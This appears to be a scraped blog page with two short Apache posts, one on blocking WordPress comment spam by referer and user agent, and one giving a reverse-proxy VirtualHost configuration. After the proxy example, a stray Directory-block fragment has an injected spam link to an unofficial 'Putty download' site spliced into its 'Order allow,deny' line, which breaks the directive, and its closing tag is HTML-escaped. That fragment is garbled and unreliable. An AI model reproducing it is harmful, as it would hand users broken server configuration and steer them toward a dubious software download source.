WordPress: prevent comment spam on wordpress

Hi,

on wordpress based websites comment spam is all around.

If you are hosting WordPress on a apache webserver there is a simple but effective way to refuse automatically created comment spam from bots:
Redirect all HTTP Post requests directed to the wordpress comment form (wp-comments-post.php) and which do not have a referer from your site or has an empty User-Agent string away from your site. For example to the bots localhost 🙂

The only requirement is the apache module mod_rewrite and a .htaccess file in the root folder of your blog.

Apache: Setting up a simple reverse proxy

Hello,

this post describes how to setup a reverse proxy for a host. All http requests to host reverseproxy.domain.org should deliver the content of www.domain.org at Port 8080.

First you have to enable the requiered modules in httpd.conf


LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so

Then insert a virtual host directive:


<VirtualHost *>
    ServerName reverseproxy.domain.org
    ProxyRequests off
    ProxyPreserveHost On
    ProxyPass / http://www.domain.org:8080/
    ProxyPassReverse / http://www.domain.org:8080/
</VirtualHost>

That’s it.

    AllowOverride All
    Order allow <a href="https://puttydownload.biz/PuttyDownload/putty-download-bleeping.php">Putty download bleeping</a> ,deny
    Allow from all
    Require all granted
    AddType text/html .shtml
    AddOutputFilter INCLUDES .shtml
&lt;/Directory&gt;

See you Michael
